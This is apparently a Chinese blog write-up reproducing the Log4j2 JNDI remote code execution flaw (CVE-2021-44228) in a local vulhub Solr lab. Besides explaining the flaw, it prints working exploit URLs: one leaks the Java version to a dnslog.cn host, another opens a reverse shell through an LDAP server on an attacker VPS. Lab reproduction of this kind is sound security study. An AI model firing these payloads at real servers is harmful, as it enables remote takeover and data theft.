Log4j2RCE(CVE-2021-44228)
Log4j2RCE(CVE-2021-44228)
漏洞描述
Log4j2 是 Apache 的一个开源日志库,广泛应用于 Java 应用程序中。2021 年 12 月 9 日,发现了一个严重的远程代码执行漏洞(CVE-2021-44228),该漏洞允许攻击者通过特制的日志消息在目标系统上执行任意代码。
JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议 包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。
漏洞原理
Log4j2 在特定的版本中由于启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数,是通过配置文件中的${}语法调用的,例如:如果在日志消息中使用了${sys:my.property},那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值,并将其替换为实际值。
影响范围
- Apache Log4j 2.0-2.14.1
- Apache Log4j 1.2和Log4j 1.2.x系列不受影响
漏洞复现
cd vulhub/log4j/CVE-2021-44228
sudo docker compose up -d
通过DNSlog平台验证:
http://192.168.4.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.5wzzp7.dnslog.cn}

反弹shell
这里直接通过JNDI利用工具在vps上启一个ldap服务和http服务,

然后监听4444端口
http://192.168.4.128:8983/solr/admin/cores?action=${jndi:ldap://ip:1389/Basic/ReverseShell/vps_ip/4444}
无法访问到?
这里遇到了一些问题,始终反弹不了shell,换了各种工具都不通。
后面发现是我vps的问题,我通过window本机打就没什么问题。下次打的时候换个虚拟机吧(
后续成功拿到反弹shell:


参考文章:
Log4j2从被动扫描到反弹shell/写内存马 | CN-SEC 中文网

浙公网安备 33010602011771号